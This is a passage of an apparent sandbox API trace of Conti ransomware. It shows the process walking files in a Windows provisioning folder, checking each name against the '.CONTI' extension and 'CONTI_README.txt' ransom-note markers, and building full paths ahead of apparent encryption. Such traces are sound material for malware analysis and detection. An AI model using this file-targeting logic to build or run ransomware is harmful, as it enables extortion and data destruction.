	[0109.509] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9026e179, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9026e179, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9026e179, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c7, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="45__Connections_Cellular_ORANGE (Belgium)_i0$(__MVID)@WAP.provxml", cAlternateFileName="45__CO~1.PRO")) returned 1
	[0109.509] lstrcmpiW (lpString1="45__Connections_Cellular_ORANGE (Belgium)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.509] lstrcmpiW (lpString1="45__Connections_Cellular_ORANGE (Belgium)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.509] StrStrIW (lpFirst="45__Connections_Cellular_ORANGE (Belgium)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.509] StrStrIW (lpFirst="45__Connections_Cellular_ORANGE (Belgium)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.509] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.509] lstrlenW (lpString="45__Connections_Cellular_ORANGE (Belgium)_i0$(__MVID)@WAP.provxml") returned 65
	[0109.509] GetProcessHeap () returned 0x1720000
	[0109.509] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x17d6be0
	[0109.509] lstrcpyW (in: lpString1=0x17d6be0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.509] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.509] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="45__Connections_Cellular_ORANGE (Belgium)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\45__Connections_Cellular_ORANGE (Belgium)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\45__Connections_Cellular_ORANGE (Belgium)_i0$(__MVID)@WAP.provxml"
	[0109.509] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91096761, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91096761, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91096761, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d3, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="460__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml", cAlternateFileName="460__C~1.PRO")) returned 1
	[0109.509] lstrcmpiW (lpString1="460__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.509] lstrcmpiW (lpString1="460__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.510] StrStrIW (lpFirst="460__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.510] StrStrIW (lpFirst="460__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.510] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.510] lstrlenW (lpString="460__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml") returned 68
	[0109.510] GetProcessHeap () returned 0x1720000
	[0109.510] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x17d6e70
	[0109.510] lstrcpyW (in: lpString1=0x17d6e70, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.510] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.510] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="460__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\460__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\460__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml"
	[0109.510] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91096761, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91096761, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91096761, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="461__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml", cAlternateFileName="461__C~1.PRO")) returned 1
	[0109.510] lstrcmpiW (lpString1="461__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.510] lstrcmpiW (lpString1="461__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.510] StrStrIW (lpFirst="461__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.510] StrStrIW (lpFirst="461__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.510] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.510] lstrlenW (lpString="461__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml") returned 68
	[0109.510] GetProcessHeap () returned 0x1720000
	[0109.510] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x17d66c0
	[0109.510] lstrcpyW (in: lpString1=0x17d66c0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.510] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.510] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="461__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\461__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\461__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml"
	[0109.510] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91096761, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91096761, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91096761, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="462__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml", cAlternateFileName="462__C~1.PRO")) returned 1
	[0109.510] lstrcmpiW (lpString1="462__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.510] lstrcmpiW (lpString1="462__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.510] StrStrIW (lpFirst="462__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.510] StrStrIW (lpFirst="462__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.510] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.510] lstrlenW (lpString="462__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml") returned 68
	[0109.510] GetProcessHeap () returned 0x1720000
	[0109.511] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x17d74d8
	[0109.511] lstrcpyW (in: lpString1=0x17d74d8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.511] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.511] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="462__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\462__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\462__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml"
	[0109.511] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910bc9cd, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x910bc9cd, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x910bc9cd, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="463__Connections_Cellular_Astelit (Ukraine)_i0$(__MVID)@WAP.provxml", cAlternateFileName="463__C~1.PRO")) returned 1
	[0109.511] lstrcmpiW (lpString1="463__Connections_Cellular_Astelit (Ukraine)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.511] lstrcmpiW (lpString1="463__Connections_Cellular_Astelit (Ukraine)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.511] StrStrIW (lpFirst="463__Connections_Cellular_Astelit (Ukraine)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.511] StrStrIW (lpFirst="463__Connections_Cellular_Astelit (Ukraine)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.511] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.511] lstrlenW (lpString="463__Connections_Cellular_Astelit (Ukraine)_i0$(__MVID)@WAP.provxml") returned 67
	[0109.511] GetProcessHeap () returned 0x1720000
	[0109.511] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x6588578
	[0109.511] lstrcpyW (in: lpString1=0x6588578, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.511] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.511] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="463__Connections_Cellular_Astelit (Ukraine)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\463__Connections_Cellular_Astelit (Ukraine)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\463__Connections_Cellular_Astelit (Ukraine)_i0$(__MVID)@WAP.provxml"
	[0109.511] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910bc9cd, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x910bc9cd, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x910bc9cd, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="464__Connections_Cellular_UMC (Ukraine)_i0$(__MVID)@WAP.provxml", cAlternateFileName="464__C~1.PRO")) returned 1
	[0109.511] lstrcmpiW (lpString1="464__Connections_Cellular_UMC (Ukraine)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.511] lstrcmpiW (lpString1="464__Connections_Cellular_UMC (Ukraine)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.511] StrStrIW (lpFirst="464__Connections_Cellular_UMC (Ukraine)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.511] StrStrIW (lpFirst="464__Connections_Cellular_UMC (Ukraine)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.511] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.511] lstrlenW (lpString="464__Connections_Cellular_UMC (Ukraine)_i0$(__MVID)@WAP.provxml") returned 63
	[0109.511] GetProcessHeap () returned 0x1720000
	[0109.511] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x134) returned 0x1808fa8
	[0109.511] lstrcpyW (in: lpString1=0x1808fa8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.511] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.512] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="464__Connections_Cellular_UMC (Ukraine)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\464__Connections_Cellular_UMC (Ukraine)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\464__Connections_Cellular_UMC (Ukraine)_i0$(__MVID)@WAP.provxml"
	[0109.512] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910bc9cd, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x910bc9cd, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x910bc9cd, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x287, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="465__Connections_Cellular_Utel INET (Ukraine)_i0$(__MVID)@WAP.provxml", cAlternateFileName="465__C~1.PRO")) returned 1
	[0109.512] lstrcmpiW (lpString1="465__Connections_Cellular_Utel INET (Ukraine)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.512] lstrcmpiW (lpString1="465__Connections_Cellular_Utel INET (Ukraine)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.512] StrStrIW (lpFirst="465__Connections_Cellular_Utel INET (Ukraine)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.512] StrStrIW (lpFirst="465__Connections_Cellular_Utel INET (Ukraine)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.512] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.512] lstrlenW (lpString="465__Connections_Cellular_Utel INET (Ukraine)_i0$(__MVID)@WAP.provxml") returned 69
	[0109.512] GetProcessHeap () returned 0x1720000
	[0109.512] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x180a800
	[0109.512] lstrcpyW (in: lpString1=0x180a800, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.512] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.512] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="465__Connections_Cellular_Utel INET (Ukraine)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\465__Connections_Cellular_Utel INET (Ukraine)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\465__Connections_Cellular_Utel INET (Ukraine)_i0$(__MVID)@WAP.provxml"
	[0109.512] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910bc9cd, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x910bc9cd, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x910bc9cd, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2be, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="466__Connections_Cellular_du (United Arab Emirates)_i0$(__MVID)@WAP.provxml", cAlternateFileName="466__C~1.PRO")) returned 1
	[0109.512] lstrcmpiW (lpString1="466__Connections_Cellular_du (United Arab Emirates)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.512] lstrcmpiW (lpString1="466__Connections_Cellular_du (United Arab Emirates)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.512] StrStrIW (lpFirst="466__Connections_Cellular_du (United Arab Emirates)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.512] StrStrIW (lpFirst="466__Connections_Cellular_du (United Arab Emirates)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.512] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.512] lstrlenW (lpString="466__Connections_Cellular_du (United Arab Emirates)_i0$(__MVID)@WAP.provxml") returned 75
	[0109.512] GetProcessHeap () returned 0x1720000
	[0109.512] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14c) returned 0x17d1518
	[0109.512] lstrcpyW (in: lpString1=0x17d1518, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.512] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.512] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="466__Connections_Cellular_du (United Arab Emirates)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\466__Connections_Cellular_du (United Arab Emirates)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\466__Connections_Cellular_du (United Arab Emirates)_i0$(__MVID)@WAP.provxml"
	[0109.512] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910e2c39, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x910e2c39, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x910e2c39, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="467__Connections_Cellular_du EITC (United Arab Emirates)_i0$(__MVID)@WAP.provxml", cAlternateFileName="467__C~1.PRO")) returned 1
	[0109.512] lstrcmpiW (lpString1="467__Connections_Cellular_du EITC (United Arab Emirates)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.512] lstrcmpiW (lpString1="467__Connections_Cellular_du EITC (United Arab Emirates)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.512] StrStrIW (lpFirst="467__Connections_Cellular_du EITC (United Arab Emirates)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.513] StrStrIW (lpFirst="467__Connections_Cellular_du EITC (United Arab Emirates)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.513] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.513] lstrlenW (lpString="467__Connections_Cellular_du EITC (United Arab Emirates)_i0$(__MVID)@WAP.provxml") returned 80
	[0109.513] GetProcessHeap () returned 0x1720000
	[0109.513] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x156) returned 0x6574af8
